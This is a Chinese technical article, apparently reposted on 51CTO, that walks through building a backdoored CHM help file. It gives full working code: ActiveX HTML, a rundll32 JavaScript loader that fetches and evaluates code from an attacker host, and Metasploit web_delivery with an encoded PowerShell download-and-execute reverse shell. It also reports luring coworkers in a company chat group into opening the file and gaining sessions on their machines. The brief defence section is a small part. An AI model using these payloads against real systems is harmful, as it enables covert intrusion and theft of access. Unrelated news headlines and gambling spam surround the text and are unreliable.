• 12亿次电话“呼死你”? 83万余个账号被封停! 2019-05-21
  • 新型国际关系擘画人类未来 2019-05-18
  • 习近平同哈萨克斯坦总统纳扎尔巴耶夫举行会谈 2019-05-18
  • 宝鸡市陈仓区党员干部助力夏收帮扶困难群体 2019-04-13
  • 滚滚而来的温暖!山坡上滚下万斤爱心榨菜头 2019-04-08
  • 中国科研团队刷新暗物质探测灵敏度 2019-04-08
  • 定陶战役:示弱于敌重点围歼的范例 2019-03-20
  • 里约奥运变化与机遇并存 充分准备迎接挑战 2019-03-20
  • 我国居民人均预期寿命又提高了 2017年提高至76.7岁 2019-03-17
  • 【三年决战奔小康】一封来自甘南精准扶贫户的感谢信 2019-03-17
  • 新时代新平台新机遇“一带一路”大型网络主题活动 2019-03-15
  • 学生睡觉摔骨折 法院主动出击促调解 2019-03-07
  • 总览传奇般的——波尔多八大酒庄柏图斯波尔多 2019-03-07
  • 它不会比如何做好一餐饭的难度大,或者道理更多。 2019-03-02
  • 高清:中国男篮抵达洛杉矶 长途飞行队员略显疲惫 2019-02-27
  • |
    |
    51CTO旗下网站
    |
    |
    移动端

    高级组合技打造捆绑后门及防御建议

    CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

    作者:CanMeng来源:FreeBuf|2018-11-07 09:35

    广东11选五精准计划 www.flxp.net 一、CHM简介

    在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。

    CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

    二、CHM制作

    CHM的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件,使用起来非常简单。

    新建如下目录,文件内容随意:

    打开EasyCHM,新建->浏览。选择该目录。默认文件类型:

    点击确认,即可看到预览的CHM文件:

    选择编译,即可编译成CHM文件。

    三、CHM Execute Command

    14年的时候@ithurricanept 在twitter上发了一个demo,通过CHM运行计算器:

    利用代码如下:

    1. <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command"    value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>  

    将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:

    四、去除弹框

    有测试过nishang Out-CHM的同学会发现,运行生成的CHM文件的时候会看到明显的弹框。就像这样:

    某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用JavaScript Backdoor。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 JSRat.ps1 ,地址为:https://github.com/Ridter/MyJSRat。使用方式详见 readme。

    以下为完整的测试过程:

    1. 结合CHM + JSBackdoor

    使用交互模式的JSRat server:

    1. python MyJSRat.py -i 192.168.1.101 -p 8080 

    访问 //192.168.1.101:8080/wtf 获取攻击代码如下:

    1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","//192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c    taskkill /f /im rundll32.exe",0,true);}  

    经过多次测试,成功将以上命令写入chm,其Html代码为:

    1. <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM    name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","    //192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>  

    编译以后运行,可以成功获取JS交互shell:

    直接执行cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read 来获取回显。

    2. 获取meterpreter会话

    此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:

    开启MSF web_delivery:

    1. ~  msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf    exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) >    set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: //0.0.0.0:8081/[*]    Local IP: //192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX    $n.downloadstring('//192.168.1.101:8081/');  

    装有powershell的客户端执行以下命令则可获取meterpreter会话:

    1. powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('//192.168.1.101:8081/');  

    由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt:

    1. $n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('//192.168.1.101:8081/');  

    执行以下命令:

    1. cat power.txt | iconv --to-code UTF-16LE |base64  

    最终要执行的powershell命令为:

    1. powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==  

    使用执行命令模式直接获取meterpreter会话:

    1. python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="  

    测试过程中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:

    3. 是否被杀?

    可能很多人会问,会不会被杀,下面是virscan的查杀结果:

    //r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

    五、利用场景

    注: 随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。

    六、实际测试

    是用上述方式制作chm文件,命名为一个比较有吸引力的名字,比如在公司技术群发了一个名字为”制作免杀后门.chm”的文件,实际测试结果如下图:

    成功获取多个人的meterpreter会话。

    七、防御

    最好的防御就是提高个人安全意识,对于此类文件,多注意一下,尽量别乱点。如果非要点,可以放到虚拟机里面,使用procexp.exe可以看到存在后门的chm文件会开启新的进程:

    对于碰到这种后门,怎么溯源呢,其实也很简单,chm是可以反编译为html的。

    使用windows自带的hh.exe 则可进行反编译。命令如下:

    1. C:\Users\evi1cg\Desktop>hh -decompile test poc.chm  

    #test 为当前目录的test文件夹。

    执行结果如下:

    这样就可以看到其源代码并可以找到攻击者的监听服务器了。

    至于其他防御姿势,知道的小伙伴可以分享一下。

    八、小结

    此次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍,希望小伙伴们能免受其害。

    九、参考

    【编辑推荐】

    【责任编辑:赵宁宁 TEL:(010)68476606】

    点赞 0
    分享:
    大家都在看
    猜你喜欢

    订阅专栏+更多

    活学活用 Ubuntu Server

    活学活用 Ubuntu Server

    实战直通车
    共35章 | UbuntuServer

    218人订阅学习

    Java EE速成指南

    Java EE速成指南

    掌握Java核心
    共30章 | 51CTO王波

    83人订阅学习

    Mysql DBA修炼之路

    Mysql DBA修炼之路

    MySQL入门到高阶
    共24章 | 武凤涛

    471人订阅学习

    读 书 +更多

    计算机病毒防范艺术

    本书由Symantec首席反病毒研究员执笔,是讲述现代病毒威胁、防御技术和分析工具的权威指南。与多数讲述计算机病毒的书籍不同,本书完全是...

    订阅51CTO邮刊

    点击这里查看样刊

    订阅51CTO邮刊

    51CTO服务号

    51CTO播客

    广东11选五精准计划
  • 12亿次电话“呼死你”? 83万余个账号被封停! 2019-05-21
  • 新型国际关系擘画人类未来 2019-05-18
  • 习近平同哈萨克斯坦总统纳扎尔巴耶夫举行会谈 2019-05-18
  • 宝鸡市陈仓区党员干部助力夏收帮扶困难群体 2019-04-13
  • 滚滚而来的温暖!山坡上滚下万斤爱心榨菜头 2019-04-08
  • 中国科研团队刷新暗物质探测灵敏度 2019-04-08
  • 定陶战役:示弱于敌重点围歼的范例 2019-03-20
  • 里约奥运变化与机遇并存 充分准备迎接挑战 2019-03-20
  • 我国居民人均预期寿命又提高了 2017年提高至76.7岁 2019-03-17
  • 【三年决战奔小康】一封来自甘南精准扶贫户的感谢信 2019-03-17
  • 新时代新平台新机遇“一带一路”大型网络主题活动 2019-03-15
  • 学生睡觉摔骨折 法院主动出击促调解 2019-03-07
  • 总览传奇般的——波尔多八大酒庄柏图斯波尔多 2019-03-07
  • 它不会比如何做好一餐饭的难度大,或者道理更多。 2019-03-02
  • 高清:中国男篮抵达洛杉矶 长途飞行队员略显疲惫 2019-02-27
  • 数学家赌博 排列3开奖 爱彩人湖南幸运赛车 大乐透基本走图进30期 北京赛车计划qq群 怎么看五分彩的走势图 北京赛车改单是真的吗 鼎牛德州扑克 中彩网3d走势图 秒速飞艇走势规律 排列3组3 我真的没有钱8666 福彩3d红五图库 天津时时彩几点开奖 半全场投注是什么意思 厦门福利彩票中心电话